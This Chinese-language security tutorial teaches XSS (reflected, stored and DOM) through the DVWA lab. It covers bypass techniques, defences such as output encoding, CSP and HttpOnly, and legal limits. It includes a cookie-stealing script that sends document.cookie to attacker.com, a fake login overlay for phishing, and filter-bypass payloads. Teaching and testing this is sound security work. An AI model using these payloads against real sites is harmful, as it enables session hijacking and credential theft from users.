📚 网络安全 Kali 学习系列
模块 0 基础阶段 ✅ 已完成
01-18 Linux系统 → 计算机网络 → 密码学 → Python/Bash/PHP/JS → Docker
模块 1 信息收集与侦察 ✅ 已完成
19 nmap 主动扫描 → 20 masscan 高速扫描 → 21 指纹识别与目录爆破 → 22 漏洞扫描与 Web 安全基础
模块 2 Web 应用渗透(攻击技术阶段)
✓ 23 sqlmap 注入与 Burp 抓包
24 XSS 跨站脚本攻击(当前篇)
25 CSRF 与文件上传漏洞(预告)
模块 3-5 共 XX 篇,后续持续更新

XSS 跨站脚本攻击:反射型、存储型与 DOM 型

模块 2 Web 应用渗透 · 进阶篇 · OWASP Top 10 经典漏洞
读完本篇你将能:理解 XSS 跨站脚本攻击的本质和三大类型(反射型、存储型、DOM 型)的区别,掌握每种 XSS 的检测方法与利用技巧,使用 DVWA 靶场进行实战验证,并了解 XSS 的防御手段与绕过技巧。如果说 SQL 注入是在攻击服务器的数据库,那么 XSS 就是在攻击其他用户的浏览器——它把网站变成了传递恶意代码的"中转站"。
📑 本文目录
01XSS 是什么:浏览器层面的注入攻击
02反射型 XSS:URL 里的恶意代码
03存储型 XSS:藏在数据库里的定时炸弹
04DOM 型 XSS:客户端的隐形杀手
05XSS 利用场景:从 Cookie 窃取到钓鱼
06XSS 检测与绕过技巧
07防御与修复:从输入过滤到 CSP
08道德边界与法律红线
09分级练习与知识回顾

一、XSS 是什么:浏览器层面的注入攻击

跨站脚本攻击(Cross-Site Scripting,简称 XSS)是一种代码注入攻击,攻击者将恶意脚本注入到可信网站的页面中,当其他用户访问该页面时,恶意脚本会在他们的浏览器中执行。之所以叫 "Cross-Site",是因为早期这种攻击主要用于从另一个网站窃取数据,但随着技术发展,XSS 的含义已经扩展到任何将脚本注入网页的攻击。

XSS 的核心原理很简单:网站把用户输入的数据当作代码执行了。比如一个搜索页面会把你输入的关键词回显在结果页上("你搜索的是:xxx"),如果网站没有对关键词做任何过滤,攻击者可以输入 <script>alert(1)</script>,这段脚本就会被浏览器当作页面的一部分执行。

类比:如果把网页比作一封通知信,网站管理员会在信上打印用户的名字。正常情况下,你输入"张三",信上就会印"你好,张三"。但如果有人输入"张三,把你的银行卡密码发给123456@qq.com",而管理员不加思考地直接印上去,收到信的人就可能被骗。XSS 就是利用了这种"原样打印"的漏洞,把恶意指令混在正常内容里。

1.1 XSS 的三大类型

根据恶意脚本的存储位置和触发方式,XSS 主要分为三类:

类型 存储位置 触发条件 危害等级
反射型 XSS URL 参数中 用户点击恶意链接 中
存储型 XSS 服务器数据库 所有访问页面的用户 高
DOM 型 XSS 客户端 DOM JS 操作 DOM 时触发 中高

三种类型的本质区别在于恶意脚本走哪条路到达受害者的浏览器:反射型走 URL(一次性),存储型走数据库(持久化),DOM 型走客户端 JavaScript(不经过服务器)。下面我们逐个深入讲解。

二、反射型 XSS:URL 里的恶意代码

反射型 XSS(Reflected XSS)是最常见也最简单的 XSS 类型。恶意脚本藏在 URL 的参数里,当用户访问这个 URL 时,服务器把参数中的内容"反射"到页面上,浏览器解析页面时就执行了恶意脚本。

之所以叫"反射",是因为恶意代码就像一面镜子——从 URL 进去,从页面出来,只是经过服务器反射了一下,并不会被存储下来。所以反射型 XSS 也叫"非持久型 XSS"。

2.1 典型场景:搜索框与错误页

反射型 XSS 最常出现在以下场景:

• 搜索结果页:显示"你搜索的关键词是:xxx"
• 错误提示页:显示"用户 xxx 不存在"
• 表单提交失败的回显页面
• URL 参数直接输出到页面的任何位置

下面用 DVWA 的 XSS reflected 模块来演示。假设靶机地址是 192.168.1.100,low 安全级别下,访问:

URL - 反射型 XSS 测试
http://192.168.1.100/vulnerabilities/xss_r/?name=<script>alert(1)</script>

如果页面弹出了 1 的提示框,说明存在反射型 XSS 漏洞。name 参数的值被直接输出到了 HTML 中,浏览器把 <script> 标签当作了页面的一部分来执行。

2.2 攻击链:从 URL 到受害者

反射型 XSS 的完整攻击链需要三步:

构造恶意 URL
→
诱导用户点击
→
脚本在受害者浏览器执行

反射型 XSS 的弱点在于必须诱导用户点击。攻击者通常会把恶意 URL 伪装成正常链接,通过邮件、社交媒体、短信等方式发送给受害者。由于 URL 中包含目标网站的域名,受害者往往会放松警惕。

💡 小贴士
真实攻击中,攻击者通常会对 URL 中的特殊字符进行 URL 编码,让链接看起来更"正常"。比如 <script> 编码后变成 %3Cscript%3E。浏览器会自动解码并执行,对攻击效果没有影响,但能更好地隐藏攻击意图。

三、存储型 XSS:藏在数据库里的定时炸弹

存储型 XSS(Stored XSS)是危害最大的 XSS 类型。恶意脚本被提交到服务器并存储在数据库中,当其他用户访问包含这些数据的页面时,脚本会自动执行。不需要诱导点击,不需要构造特殊 URL——只要正常浏览页面就会中招。

存储型 XSS 也叫"持久型 XSS",因为恶意代码会一直存在于服务器上,直到被清理。它就像一颗定时炸弹,埋在数据库里,每一个访问对应页面的用户都会触发它。

3.1 典型场景:评论区与用户资料

任何用户输入会被存储并展示给其他用户的地方,都可能存在存储型 XSS:

• 评论区、留言板、论坛帖子
• 用户昵称、个人简介、个性签名
• 文章内容、商品描述(支持富文本的场景)
• 私信、聊天记录

以 DVWA 的 XSS stored 模块为例。在 low 级别下,在 Guestbook 的留言框中输入:

Payload - 存储型 XSS 测试
<script>alert("XSS!")</script>

提交留言后,这段脚本就被存入了数据库。之后任何访问留言板的用户,页面加载时都会执行这段脚本,弹出 "XSS!" 提示框。与反射型不同,不需要每次都构造特殊 URL——一次注入,永久生效。

3.2 为什么存储型 XSS 危害最大

对比维度 反射型 XSS 存储型 XSS
攻击范围 点击链接的个别用户 所有访问页面的用户
隐蔽性 URL 可能引起怀疑 正常浏览即可触发,极难察觉
持久化 一次性,关闭页面即失效 持续存在,直到被清除
社会工程学 需要诱导用户点击 无需用户操作,自动触发

在真实世界中,存储型 XSS 曾多次造成大规模安全事件。比如某知名论坛的用户签名处存在存储型 XSS,攻击者注入后,每一个看到该用户帖子的人都会被窃取 Cookie,一夜之间成千上万的账号被盗。

⚠️ 常见错误
"只有输入框里输入 <script> 才叫 XSS" — 存储型 XSS 的输入点不一定是输入框
✓ 正确理解:任何用户可控的数据(包括上传的文件名、HTTP 请求头中的 User-Agent、图片的 EXIF 信息等),只要最终会被输出到 HTML 页面上,都可能成为存储型 XSS 的注入点。测试时要全面排查所有用户输入路径,不能只盯着可见的表单。

四、DOM 型 XSS:客户端的隐形杀手

DOM 型 XSS(DOM-based XSS)是三种 XSS 中最特殊的一种。它的恶意脚本完全在客户端执行,不经过服务器——服务器返回的页面源代码是干净的,但页面中的 JavaScript 把 URL 中的数据读取出来,直接写入 DOM,导致脚本执行。

DOM(Document Object Model)是浏览器对 HTML 页面的结构化表示。当 JavaScript 使用 document.write()、innerHTML 等方法把用户可控的数据写入页面时,如果数据中包含 HTML 标签,浏览器就会解析并执行它们。

4.1 典型场景:URL 哈希与前端渲染

DOM 型 XSS 常见于以下场景:

• 页面根据 URL 的 hash(# 后面的部分)进行跳转或渲染
• 单页应用(SPA)从 URL 参数读取数据并渲染到页面
• 搜索功能使用 JavaScript 处理查询词并回显
• 任何使用 innerHTML / document.write / eval 的前端代码

下面是一个最简单的 DOM 型 XSS 示例。假设页面中有这样一段 JavaScript:

JavaScript - 存在 DOM 型 XSS 的代码
// 从 URL 中获取 name 参数并写入页面
var name = decodeURIComponent(location.hash.substring(1));
document.getElementById("greeting").innerHTML = "你好," + name;

当访问 http://example.com/page.html#<img src=x onerror=alert(1)> 时,JavaScript 从 hash 中读取内容,用 innerHTML 写入页面,<img> 标签被浏览器解析,触发 onerror 事件执行脚本。

💡 小贴士
DOM 型 XSS 最隐蔽的地方在于:在服务器返回的源代码中完全看不到恶意脚本。传统的 WAF(Web 应用防火墙)和服务器端过滤对它无效,因为数据根本没到服务器——hash(#)后面的内容不会被发送到服务器。检测 DOM 型 XSS 需要分析前端 JavaScript 代码,或使用动态扫描工具。

4.2 三种 XSS 的数据流对比

理解三种 XSS 最直观的方式,是看恶意代码的"旅行路径":

反射型 XSS:URL → 服务器 → 页面 → 浏览器执行
存储型 XSS:输入 → 数据库 → 页面 → 浏览器执行
DOM 型 XSS:URL → JavaScript → DOM → 浏览器执行(不经过服务器)

DVWA 的 XSS DOM 模块就是一个很好的练习靶场。它使用前端 JavaScript 读取 URL 中的 default 参数来设置下拉框的默认值,low 级别下没有任何过滤。你可以尝试构造一个利用 URL hash 的 payload 来触发弹窗。

五、XSS 利用场景:从 Cookie 窃取到钓鱼

初学者接触 XSS 时,往往只停留在 alert(1) 弹窗的层面。实际上 XSS 的威力远不止于此——只要能在目标网站的上下文中执行 JavaScript,攻击者就能做用户能做的几乎任何事情。下面介绍几种常见的利用方式。

5.1 Cookie 窃取与会话劫持

这是 XSS 最经典的利用方式。网站通常用 Cookie 来识别用户身份,如果攻击者能获取到受害者的 Cookie,就可以冒充受害者登录网站,这就是"会话劫持"。

JavaScript - Cookie 窃取 Payload
<script>
  document.location = "http://attacker.com/steal?c=" + document.cookie;
</script>

这段脚本会把用户的 Cookie 作为参数发送到攻击者的服务器。攻击者拿到 Cookie 后,就可以在自己的浏览器中设置相同的 Cookie 值,从而以受害者的身份访问网站。

不过,现代浏览器的 Cookie 通常会设置 HttpOnly 标志,设置了 HttpOnly 的 Cookie 无法被 JavaScript 读取,能有效抵御 Cookie 窃取。但这并不意味着 XSS 就没用了——还有很多其他利用方式。

5.2 钓鱼与欺骗

XSS 可以用来在可信网站上注入伪造的登录框或弹窗,诱导用户输入账号密码。由于钓鱼界面是在真实网站的域名下显示的,用户很难察觉。

JavaScript - 伪造登录框 Payload
// 在页面中插入一个伪造的登录框
var fakeForm = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.7);display:flex;justify-content:center;align-items:center;">
  <div style="background:white;padding:30px;border-radius:8px;">
    <h3>请重新登录</h3>
    <input type="text" id="fakeUser" placeholder="用户名"><br>
    <input type="password" id="fakePass" placeholder="密码"><br>
    <button onclick="steal()">登录</button>
  </div>
</div>
`;
document.body.innerHTML += fakeForm;

用户看到的是一个遮罩层加登录框,看起来就像网站要求重新验证身份。由于地址栏显示的是真实网站的域名,即使是谨慎的用户也可能被骗输入密码。

5.3 其他利用方式

1 键盘记录:监听页面的 keydown 事件,记录用户输入的所有按键,包括密码
2 网页篡改:修改页面内容,散布虚假信息,或替换链接指向恶意网站
3 操作执行:以用户身份执行操作,比如发帖、转账、修改密码等
4 蠕虫传播:利用存储型 XSS 构造自我复制的蠕虫,在社交网络中自动传播
5 浏览器挖矿:注入挖矿脚本,利用受害者的 CPU 资源挖掘加密货币

XSS 的想象力边界取决于 JavaScript 的能力边界。只要能在目标域执行脚本,攻击者就可以利用浏览器 API 做很多事情。这也是为什么 XSS 长期占据 OWASP Top 10 榜单前列。

六、XSS 检测与绕过技巧

在渗透测试中,检测 XSS 的基本思路是:在每个输入点插入测试字符串,然后观察输出位置是否被正确过滤。但真实场景中,网站往往有各种过滤机制——黑名单、HTML 实体编码、WAF 等。这时候就需要掌握绕过技巧。

6.1 检测思路:先确定输出位置

检测 XSS 的第一步不是直接塞 <script>,而是先搞清楚输入的内容出现在页面的什么位置。不同的输出位置,构造 Payload 的方式完全不同:

输出位置 测试思路 示例 Payload
HTML 标签之间 注入新标签 <script>alert(1)</script>
HTML 属性值中 闭合属性 + 事件 " onclick="alert(1)
JavaScript 代码中 闭合字符串 + 执行 ';alert(1);//
CSS 样式中 expression / url expression(alert(1))

一个好的习惯是先输入一个独特的测试字符串(比如 xssTest123),然后在页面源代码中搜索这个字符串,看它出现在什么位置、周围是什么上下文,再决定用什么方式注入。

6.2 常见绕过技巧

当 <script> 被过滤时,可以尝试以下替代方案:

• 事件属性:使用 <img src=x onerror=alert(1)>、<svg onload=alert(1)> 等事件触发
• 大小写混淆:如果过滤是大小写敏感的,用 <SCRIPT> 或 <ScRiPt> 绕过
• 嵌套标签:如果过滤只移除一次 script,用 <scrscriptipt> 绕过(移除中间的 script 后变成 script)
• 编码绕过:使用 HTML 实体编码、Unicode 编码、URL 编码等,利用浏览器解析时的自动解码
• 伪协议:在 href、src 等属性中使用 javascript:alert(1)
⚠️ 常见错误
"过滤了 <script> 就安全了" — 只过滤 script 标签远远不够
✓ 正确理解:HTML 中有上百个事件属性(onerror、onload、onclick、onmouseover 等),以及 svg、iframe、body 等多种标签都能触发脚本执行。黑名单过滤永远无法穷举所有可能性,正确的做法是使用白名单或上下文编码。

七、防御与修复:从输入过滤到 CSP

了解攻击是为了更好地防御。XSS 的防御是一个多层次的体系,单一措施往往不够,需要多层防护叠加才能有效降低风险。

7.1 核心防御:上下文输出编码

XSS 防御的根本原则是:根据数据插入的上下文进行对应的编码。同一条数据,插入到 HTML 正文、HTML 属性、JavaScript 字符串、CSS、URL 中,需要的编码方式完全不同。

上下文 编码方式 编码示例
HTML 正文 HTML 实体编码 &lt; &gt; &amp;
HTML 属性 属性值编码 + 引号 &quot; &#x27;
JavaScript JS Unicode 编码 \u003c \x3c
URL 参数 URL 编码 %3C %3E %26
CSS CSS 十六进制编码 \3C \3E

现代框架(React、Vue、Angular 等)默认会对模板中的变量进行 HTML 转义,大大降低了 XSS 风险。但如果使用了 dangerouslySetInnerHTML、v-html 等绕过转义的 API,XSS 风险依然存在。

7.2 纵深防御:CSP 与 HttpOnly

除了输出编码,还有两道重要的防线:

1 HttpOnly Cookie:给 Cookie 设置 HttpOnly 标志后,JavaScript 无法读取该 Cookie,即使存在 XSS 也无法直接窃取会话。这是防止会话劫持的重要手段。
2 CSP(内容安全策略):通过 HTTP 响应头告诉浏览器哪些资源可以加载、哪些脚本可以执行。设置严格的 CSP 后,即使存在 XSS 漏洞,注入的内联脚本也无法执行,大大降低危害。

一个严格的 CSP 示例:Content-Security-Policy: default-src 'self'; script-src 'self'。这条策略只允许加载同源的脚本和资源,内联脚本和 eval 都会被阻止。

💡 小贴士
XSS 防御没有银弹。输出编码是第一道防线,CSP 和 HttpOnly 是兜底的第二、第三道防线。三层防护叠加,才能最大限度降低 XSS 的危害。作为渗透测试者,了解这些防御手段也能帮助你判断目标的防护强度,选择更合适的测试策略。

八、道德边界与法律红线

XSS 是一种强大的攻击手段,但也是法律风险极高的行为。在学习和实践中,必须严格遵守以下原则:

• 仅在授权范围内测试:只能对自己搭建的靶场或有书面授权的系统进行 XSS 测试,禁止对任何未经授权的网站进行探测或攻击
• 禁止利用存储型 XSS 传播:即使发现了存储型 XSS,也不能注入真实的恶意脚本,更不能构造 XSS 蠕虫在网络中传播
• 发现漏洞及时报告:在合法测试中发现 XSS 漏洞后,应通过正规渠道(如漏洞赏金平台、安全团队邮箱)报告给厂商
• 不得用于窃取数据:禁止用 XSS 窃取 Cookie、密码、个人信息等任何敏感数据

根据《中华人民共和国刑法》第二百八十五条,非法侵入计算机信息系统或非法获取计算机信息系统数据,情节严重的可处三年以下有期徒刑。学习网络安全技术的目的是保护系统安全,而不是破坏它。

✏️ 动手练习
🟢 基础验证
在 DVWA 的 XSS reflected(low 级别)模块中,构造一个 URL 使得页面弹出 "Hello XSS" 的提示框。提示:直接在 name 参数中输入 script 标签即可。
🟡 组合应用
DVWA XSS stored(medium 级别)对输入做了简单过滤(移除了 <script> 标签)。请尝试至少两种不使用 script 标签的方式触发 XSS。提示:事件属性、其他 HTML 标签。
🔴 开放挑战
搭建一个简单的测试页面,使用 JavaScript 从 URL 的 hash 中读取数据并用 innerHTML 写入页面,构造一个 DOM 型 XSS 的 Payload。然后尝试设置 CSP 响应头(如 script-src 'self'),观察 CSP 是否能阻止这个 XSS。提示:可以用 Node.js 或 Python 快速搭建测试服务器。
📖 知识回顾
反射型 XSS 存储型 XSS DOM 型 XSS Cookie 窃取 会话劫持 事件属性注入 上下文输出编码 HttpOnly Cookie CSP 内容安全策略 XSS 钓鱼欺骗
下篇预告
25 CSRF 与文件上传漏洞
XSS 是从"注入脚本"角度攻击用户,而 CSRF 是从"伪造请求"角度攻击用户——借用户的身份偷偷执行操作。下一篇将学习 CSRF 的原理、利用方式以及文件上传漏洞的检测与利用。